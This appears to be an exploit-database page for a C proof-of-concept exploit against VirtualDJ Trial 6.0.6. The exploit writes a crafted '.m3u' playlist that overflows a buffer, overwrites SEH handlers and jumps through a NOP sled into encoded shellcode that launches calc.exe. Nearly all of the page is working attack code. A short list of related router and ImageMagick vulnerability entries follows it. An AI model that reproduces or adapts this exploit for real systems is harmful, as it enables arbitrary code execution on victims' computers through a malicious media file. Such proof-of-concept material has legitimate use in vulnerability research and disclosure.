VirtualDJ Trial 6.0.6 ‘New Year Edition’ – ‘.m3u’ Local Overflow

/*VirtualDJ Trial v6.0.6 "New Year Edition" PC (0day)

This is a poc for the latest VJ

by fl0 fl0w

# Author: fl0 fl0w

# Tested on: Windows xp sp2

# Code : [exploit code]*/

#include<stdio.h>

#include<windows.h>

#include<string.h>

#include<getopt.h>

#include<unistd.h>

/*----prototypes---*/

int fileCreate(char*);

int bufferWrite();

int cpy(char*,char*);

char* path();

/*----prototypes---*/

#define BUFFSIZE 10000

char file[]=

"\x23\x56\x69\x72\x74\x75\x61\x6C\x44\x4A\x20\x50\x6C\x61\x79\x6C" //header

"\x69\x73\x74\x0D\x0A\x23\x4D\x69\x78\x54\x79\x70\x65\x3D\x53\x6D"

"\x61\x72\x74\x0D\x0A\x49\x3A\x5C\x41\x41\x41\x41\x41\x41\x41\x41"

"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" //junk

"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"

"\x41\x41\x41\x41\x41\x66\x72\x41\x51\x42\x63\x38\x57\x73\x61\x31\x78"

"\x77\x77\x77\x77" //next seh handler offset is 1089 bytes

"\x66\x66\x66\x66" //Seh handler offset is 1093 bytes

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //NOP sleed

"\x90\x90\x90\x90\x90\x90\x90\x90"

"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49" //shellcode calc.exe offset 1116 bytes

"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x37\x6a\x63"

"\x58\x30\x42\x30\x50\x42\x6b\x42\x41\x73\x41\x42\x32\x42\x41\x32"

"\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50\x75\x38\x69\x69\x6c\x38"

"\x68\x41\x54\x77\x70\x57\x70\x75\x50\x6e\x6b\x41\x55\x55\x6c\x6e"

"\x6b\x43\x4c\x66\x65\x41\x68\x45\x51\x58\x6f\x4c\x4b\x50\x4f\x62"

"\x38\x6e\x6b\x41\x4f\x31\x30\x36\x61\x4a\x4b\x41\x59\x6c\x4b\x74"

"\x74\x6e\x6b\x44\x41\x4a\x4e\x47\x41\x4b\x70\x6f\x69\x6c\x6c\x4c"

"\x44\x4b\x70\x43\x44\x76\x67\x4b\x71\x4a\x6a\x66\x6d\x66\x61\x39"

"\x52\x5a\x4b\x4a\x54\x75\x6b\x62\x74\x56\x44\x73\x34\x41\x65\x4b"

"\x55\x4e\x6b\x73\x6f\x54\x64\x53\x31\x6a\x4b\x35\x36\x6c\x4b\x64"

"\x4c\x30\x4b\x6c\x4b\x73\x6f\x57\x6c\x75\x51\x6a\x4b\x6c\x4b\x37"

"\x6c\x6c\x4b\x77\x71\x68\x6b\x4c\x49\x71\x4c\x51\x34\x43\x34\x6b"

"\x73\x46\x51\x79\x50\x71\x74\x4c\x4b\x67\x30\x36\x50\x4c\x45\x4b"

"\x70\x62\x58\x74\x4c\x6c\x4b\x53\x70\x56\x6c\x4e\x6b\x34\x30\x47"

"\x6c\x4e\x4d\x6c\x4b\x70\x68\x37\x78\x58\x6b\x53\x39\x6c\x4b\x4f"

"\x70\x6c\x70\x53\x30\x43\x30\x73\x30\x6c\x4b\x42\x48\x77\x4c\x61"

"\x4f\x44\x71\x6b\x46\x73\x50\x72\x76\x6b\x39\x5a\x58\x6f\x73\x4f"

"\x30\x73\x4b\x56\x30\x31\x78\x61\x6e\x6a\x78\x4b\x52\x74\x33\x55"

"\x38\x4a\x38\x69\x6e\x6c\x4a\x54\x4e\x52\x77\x79\x6f\x79\x77\x42"

"\x43\x50\x61\x70\x6c\x41\x73\x64\x6e\x51\x75\x52\x58\x31\x75\x57\x70\x63"

"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"

"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"

"\x30\x4B\x4B\x7A\x69\x2E\x6D\x70\x33"; //tale

/*----main*--------*/

int main(int argc,char* argv[]){

fileCreate("666.m3u");

printf("DONE!\n");

getchar();

return 0;

}

/*----main*--------*/

int fileCreate(char* fname){

FILE *fp;

char buffer[BUFFSIZE];

cpy(file,buffer);

fp=fopen(fname,"wb");

fprintf(fp,"%s",buffer);

if(fp<0){ printf("File error\n");exit(0);}

return 0;}

int cpy(char* source,char* dest){

int len;

len=strlen(source);

memcpy(dest,source,len+1);

return len;}

相关漏洞条目

ZTE H298A / H108N – Unauthenticated Credential Exposure

ZTE ZXHN H188A V6 – Authentication Bypass

ZTE Routers – Unauthenticated Denial of Service

ImageMagick – Infinite Loop in the MIFF decoder can lead to CPU exhaustion